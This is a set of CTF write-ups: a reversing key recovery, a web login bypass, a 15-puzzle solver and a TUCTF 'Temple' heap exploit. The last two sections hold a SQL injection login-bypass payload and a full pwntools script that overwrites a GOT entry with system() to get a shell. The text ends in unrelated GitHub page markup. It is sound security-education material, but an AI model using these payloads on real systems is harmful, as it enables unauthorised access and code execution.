First, let's find out how long the key is. Below is the code that performs the check:```.text:0000000000400F51 lea rax, [rbp+input_key].text:0000000000400F55 mov rdi, rax.text:0000000000400F58 call __ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv ; std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(void).text:0000000000400F5D mov rbx, rax.text:0000000000400F60 lea rax, [rbp+buffer].text:0000000000400F64 mov rdi, rax.text:0000000000400F67 call sub_401402.text:0000000000400F6C cmp rbx, rax.text:0000000000400F6F setnz al.text:0000000000400F72 test al, al.text:0000000000400F74 jnz short loc_400F8F```
`sub_401402` is the function that returns the expected length. Furthermore, it accepts the buffer that contains the password, so let's set a break point and look for what we want:
``` gdb-peda$ b *0x400f67Breakpoint 3 at 0x400f67gdb-peda$ rStarting program [..]Enter a key: aaaaaaaaaaaaaBreakpoint 3, 0x0000000000400f67 in ?? ()gdb-peda$ i r rdirdi 0x7fffffffde30 0x7fffffffde30```
rdi contains the address of the password.
```gdb-peda$ x/20wx *0x7fffffffde300x615e70: 0x00000000 0x00000001 0x00000001 0x000000020x615e80: 0x00000003 0x00000005 0x00000008 0x0000000d0x615e90: 0x00000015 0x00000008 0x00000003 0x0000000b0x615ea0: 0x0000000e 0x00000019 0x00000411 0x000000000x615eb0: 0x65746e45 0x20612072 0x3a79656b 0x00000020```
And, for the length...
```gdb-peda$ ngdb-peda$ i r eax rax 0xe 0xe```
So...
```python#!/usr/bin/env python3k = [0x0,0x1,0x1,0x2,0x3,0x5,0x8,0xd,0x15,0x8,0x3,0xb,0xe,0x19]print(''.join([chr(i+97) for i in k]))```
```$ python guessme_key.pyabbcdfinvidloz$ ./guessmeEnter a key: abbcdfinvidlozGood key!The flag is: 0x00CTF{abbcdfinvidloz} |
# Hidden Input, Web, 50pts
## Problem
Can you log in?
## Solution
Getting a hint from the name of the question, it has somethingto do with hidden input. On viewing the source code, we find that there is a hidden input, **debug**. On turning it to **1** and entering random values in the form and submitting, we see from the output that this is a case of **SQL Injection**. On analysing the SQL query, we come up with `') OR ('a' = 'a` as an input which gets through the SQL query. |
# Fifteen Puzzle (misc ppc 150)
We are given [128 _15 puzzle_](puzzles.txt), each providing a bit of the flag.Each bit is set if the puzzle is solvable and unset otherwise.The task description also provides a code skeleton of how to generate the flagfrom this solvability information.
Each puzzle is solvable if the parity of the inversions of the puzzlematches with the parity of the rowwhere the empty square is located (starting with row 1 at the bottom).
So we gather all the pieces together to get the flag:
```pythondef is_solvable(puzzle): x = [x.strip() for x in ''.join([x.strip()[1:] for x in puzzle]).split('|', 16)[:16]] blank = 4 - x.index('') / 4 x.remove('') x = map(int, x) inv = 0 for i in range(15): for j in range(i + 1, 15): if x[i] > x[j]: inv += 1 return inv % 2 == blank % 2
with open('puzzles.txt') as f: lines = f.readlines()flag = ' 'for i in range(128): flag = ('1' if is_solvable(lines[11*i+2:11*i+9:2]) else '0') + flagprint('SharifCTF{%016x}' % int(flag, 2))```
Running it:
```> python2 solver.pySharifCTF{52d3b36b2167d2076b06d8101582b7af}``` |
# __TUCTF 2017__ ## _Temple_
## Information**Category:** | **Points:** | **Solves** | **Writeup Author**--- | --- | --- | ---Pwn | 500 | 49 | merrychap
**Description:**
> Have you come to gain wisdom at the temple?nc temple.tuctf.com 4343
>UPDATE:the temple binary has been updated. Please redownload.temple - md5: 8e61e448093f96043512bd3580223124libc.so.6 - md5: 8548e4731a83e6ed3fc167633d28c21f
## SolutionWe are given with several files: [mm.c](./mm.c), [temple](./temple) and [libc.so.6](./libc.so.6). First of all, let's examine ```mm.c``` file. It's obvious that this is some heap implementation. We will explore the file more carefully later.
### Launching of the binaryWhen I tried to run the binary I was faced with error ```>>>> BROKEN <<<<```. This happened because I didn't have file ```temple.txt``` in the same directory with the binary. So, we should create it like that ```echo "some_important_text" > temple.txt```
### Reversing the binaryI reversed [temple](./temple) using IDA Pro and its Hex-Rays decomplier. All decompiled code is placed in [temple.c](./temple.c) file. You can see this file or just decompile the binary by yourself.
We have an array with quotes, where we can modify only quotes created by us (first 8 quotes are reserved and created in ```make_wisdom()``` function)
### Find a vulnerabilityAnyway, let's see the code. We can create, remove and modify wisdoms (or just quotes. Call it as you want). The interesting place here is ```readbytes(char* buf, int bufsize)``` function in ```modify_wisdom()```:
```c__int64 __fastcall readbytes(char *buf, uint32_t bufsize) { fgets(buf, bufsize + 1, stdin); return bufsize + 1;}
readbytes(quote->text, quote->text_size);```
We can enter ```quote->text``` of a length ```quote->text_size + 1```. So, we overwrite one byte after ```quote->text```. Sounds pretty nice. It's time to see memory in a debugger.
Let's create six quotes. Each quote is ```32 bytes``` length and with text ```AAAA, BBBB, CCCC, DDDD, EEEE, FFFF```.
Array of quotes (```temple```) looks as follows:```0x6031a0 <temple>: 0x0000000000625010 0x00000000006250400x6031b0 <temple+16>: 0x0000000000625070 0x00000000006250a00x6031c0 <temple+32>: 0x00000000006250d0 0x00000000006251000x6031d0 <temple+48>: 0x0000000000625130 0x00000000006251600x6031e0 <temple+64>: 0x0000000000625190 0x00000000006251f00x6031f0 <temple+80>: 0x0000000000625250 0x00000000006252b00x603200 <temple+96>: 0x0000000000625310 0x0000000000625370```
Heap memory looks like this:```0x625180: 0x0000000000000031 0x0000000000000031 <-- beginning of a quote0x625190: 0x0000000000000021 0x00000000006251c0 <-- address of a text0x6251a0: 0x0000000000000008 0x0000000000401d61 <-- address of a character0x6251b0: 0x0000000000000031 0x0000000000000031 <-- beginning of a text0x6251c0: 0x0000000a41414141 0x00000000000000000x6251d0: 0x0000000000000000 0x00000000000000000x6251e0: 0x0000000000000031 0x00000000000000310x6251f0: 0x0000000000000021 0x00000000006252200x625200: 0x0000000000000008 0x0000000000401d610x625210: 0x0000000000000031 0x00000000000000310x625220: 0x0000000a42424242 0x00000000000000000x625230: 0x0000000000000000 0x00000000000000000x625240: 0x0000000000000031 0x00000000000000310x625250: 0x0000000000000021 0x00000000006252800x625260: 0x0000000000000008 0x0000000000401d610x625270: 0x0000000000000031 0x00000000000000310x625280: 0x0000000a43434343 0x00000000000000000x625290: 0x0000000000000000 0x00000000000000000x6252a0: 0x0000000000000031 0x00000000000000310x6252b0: 0x0000000000000021 0x00000000006252e0[...]```All heap looks as follows: ```QUOTE | TEXT | QUOTE | TEXT ...```, where a quote is a structure that contains address of its text.
So, it's time to see what is placed in [mm.c](./mm.c). Heap chunk looks like this:
```| HEADER | ... PAYLOAD ... | FOOTER |```, where ```HEADER``` and ```FOOTER``` is 8 bytes length.
Hence, the byte we overwrite is ```FOOTER``` byte.
### ExploitingOkay, we can control ```FOOTER``` byte, what's next? After that, we should see where ```FOOTER``` is used in heap implementation. Spending a little time on searching, I found that ```FOOTER``` is used in ```find_prev(block_t *block)``` function.
#### How does find_prev work?When we free a chunk, after freeing a chunk itself, ```mm_free``` function make a coalescing of current, previous and next chunks.
So, ```find_prev``` looks at the ```FOOTER``` of a previous chunk and calculate the beginning of a previous chunk depending on the ```FOOTER```. And when the beginning is found, ```coalesce``` function checks if this chunk isn't allocated (just checks the least significant bit of the ```FOOTER```). If this chunk is free then it merges both chunks in the one.
#### The use of controlling a footer.Controlling the footer, we control the beginnig of a previous chunk. It means that we can say that some chunk above is free (when this chunk is actually allocated). This action gives us an opportunity to overwrite address of ```quote->text```. If we can overwrite it, then we can further write bytes in an arbitrary place in a memory.
But let's see how we can overwrite ```quote->text```. For example, we have 3 quotes on a heap as written below.
```| QUOTE_1 | TEXT_1 | QUOTE_2 | TEXT_2 | QUOTE_3 | ... ```
In ```TEXT_2``` we can overwrite the footer of a chunk containing ```TEXT_2``` itself (by just modifying text in ```QUOTE_2```). After we remove a quote below (```QUOTE_3```), heap will merge ```TEXT_2``` and ```QUOTE_3``` chunks. In the footer of ```TEXT_2``` we can write ```0x90``` to point to the beginning of ```TEXT_1``` chunk. This merge will write 0x90 in the ```HEADER``` of ```TEXT_1``` and in the ```FOOTER``` of ```QUOTE_3```.
Actually, it doesn't matter what size is exactly we are writing. Important part here is the least significant bit of ```0x90``` is 0, which means ```TEXT_1``` chunk now is free (but still contains previous data).
When ```mm_malloc``` is called, it goes through a list of chunks and if it finds a suitable chunk, it will allocate this chunk again. Hence, when we call ```give_wisdom()```, it will create a quote above of a previous ```TEXT_1``` chunk. Now the picture of chunks looks as follows:
```| QUOTE_1 | TEXT_1 | QUOTE_2 | TEXT_2 | QUOTE_3 | ... | QUOTE_1 | NEW_QUOTE | NEW_TEXT | TEXT_2 | QUOTE_3 | ... ```
As you can see, if we enter in ```NEW_TEXT``` suitable data, we can overwrite fields of ```QUOTE_2``` and it will overwrite ```quote->text``` address, as we wanted.
Okay, we're almost done. We can control ```quote->text``` address. If we will modify this quote, then we will write bytes in a new ```quote->text``` address. Also, we can print bytes located by this address.
I decided to leak addresses of ```GOT``` functions and after that calculate address of ```system()```, basing on the given libc. If I know address of ```system```, then I will be able to write this address in ```GOT``` entry and overwrite address of a function. Yes, easy __ret2libc attack__. Function for overwriting was ```atoi```. So, if we enter ```/bin/sh``` in ```readint()``` function, then we will spawn a shell.
The next [script](./exploit.py) does exactly what is written above:
```pythonimport struct
from pwn import *
prompt = 'Your choice:'
def take(pc, index): pc.sendline('1') pc.recvuntil('you seek?:') pc.sendline(str(index)) return pc.recvuntil(prompt)
def give(pc, count, wisdom): pc.sendline('2') pc.recvuntil('you hold?:') pc.sendline(str(count)) pc.recvuntil(' your wisdom?:') pc.sendline(wisdom) return pc.recvuntil(prompt)
def rethink(pc, index, wisdom, intr=False): pc.sendline('3') pc.recvuntil('to rethink?:') pc.sendline(str(index)) pc.recvuntil('this differently?:') pc.sendline(wisdom) return pc.recvuntil(prompt)
def to_int(addr): return struct.unpack('Q', addr)[0]
def to_addr(n): return struct.pack('Q', n)
def main(): # For locale tests # libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so') # pc = process('./temple') libc = ELF('./libc.so.6') pc = remote('temple.tuctf.com', 4343) pc.recvuntil(prompt)
give(pc, 32, '/bin/sh') give(pc, 32, 'BBBB') give(pc, 32, 'CCCC') give(pc, 32, 'DDDD') give(pc, 32, 'EEEE') give(pc, 32, 'FFFF') give(pc, 32, 'GGGG') give(pc, 32, 'HHHH') give(pc, 32, 'IIII') give(pc, 32, 'JJJJ') give(pc, 32, 'KKKK') give(pc, 32, 'FFFF') give(pc, 32, 'GGGG') give(pc, 32, 'HHHH') give(pc, 32, 'IIII') give(pc, 32, 'JJJJ') give(pc, 32, 'KKKK')
rethink(pc, 10, 'BBBBBB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x90') take(pc, 11) give(pc, 32, '\xff\xff\x00\x00\x00\x00\x00\x00\x18\x30\x60\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x1c\x40\x00\x00\x00\x00\x00') print(pc.recvuntil(':'))
puts = take(pc, 10)[1:9] system = to_addr(to_int(puts) - libc.symbols['puts'] + libc.symbols['system']) print('Puts address: ' + hex(to_int(puts))) print('System address: ' + hex(to_int(puts)))
################################
give(pc, 32, 'LLLL') give(pc, 32, 'LLLL')
################################
rethink(pc, 18, 'BBBBBB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x90') take(pc, 19) give(pc, 32, '\xff\xff\x00\x00\x00\x00\x00\x00\x98\x30\x60\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x1c\x40\x00\x00\x00\x00\x00') pc.recvuntil(':')
rethink(pc, 18, system) pc.sendline('/bin/sh\x00') pc.interactive()
if __name__ == '__main__': main()```
Flag is:> TUCTF{0n3_Byt3_0v3rwr1t3_Ac0lyt3}
|
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF/ctf_in_2017/tuctf at master · vngkv123/CTF · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B260:345B:1707E11:179F526:6412274E" data-pjax-transient="true"/><meta name="html-safe-nonce" content="18568b2bedfa06d05b810036e368bc3c1da53b4ffdd72209c2ce872e297b6303" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMjYwOjM0NUI6MTcwN0UxMToxNzlGNTI2OjY0MTIyNzRFIiwidmlzaXRvcl9pZCI6IjY5MTUzNzU0MzM5MzM1MzA5NTgiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="916bd5204d41334f0e5d91c7e7e810f7ff1826699b9507d79a987e41e7512cce" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:105910326" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="CTF binary exploit code. Contribute to vngkv123/CTF development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/3b852ed880f940a842d76ce5add711912e8c0ec5e677285225174b55136f2d45/vngkv123/CTF" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF/ctf_in_2017/tuctf at master · vngkv123/CTF" /><meta name="twitter:description" content="CTF binary exploit code. Contribute to vngkv123/CTF development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/3b852ed880f940a842d76ce5add711912e8c0ec5e677285225174b55136f2d45/vngkv123/CTF" /><meta property="og:image:alt" content="CTF binary exploit code. Contribute to vngkv123/CTF development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF/ctf_in_2017/tuctf at master · vngkv123/CTF" /><meta property="og:url" content="https://github.com/vngkv123/CTF" /><meta property="og:description" content="CTF binary exploit code. Contribute to vngkv123/CTF development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/vngkv123/CTF git https://github.com/vngkv123/CTF.git">
<meta name="octolytics-dimension-user_id" content="15422891" /><meta name="octolytics-dimension-user_login" content="vngkv123" /><meta name="octolytics-dimension-repository_id" content="105910326" /><meta name="octolytics-dimension-repository_nwo" content="vngkv123/CTF" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="105910326" /><meta name="octolytics-dimension-repository_network_root_nwo" content="vngkv123/CTF" />
<link rel="canonical" href="https://github.com/vngkv123/CTF/tree/master/ctf_in_2017/tuctf" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
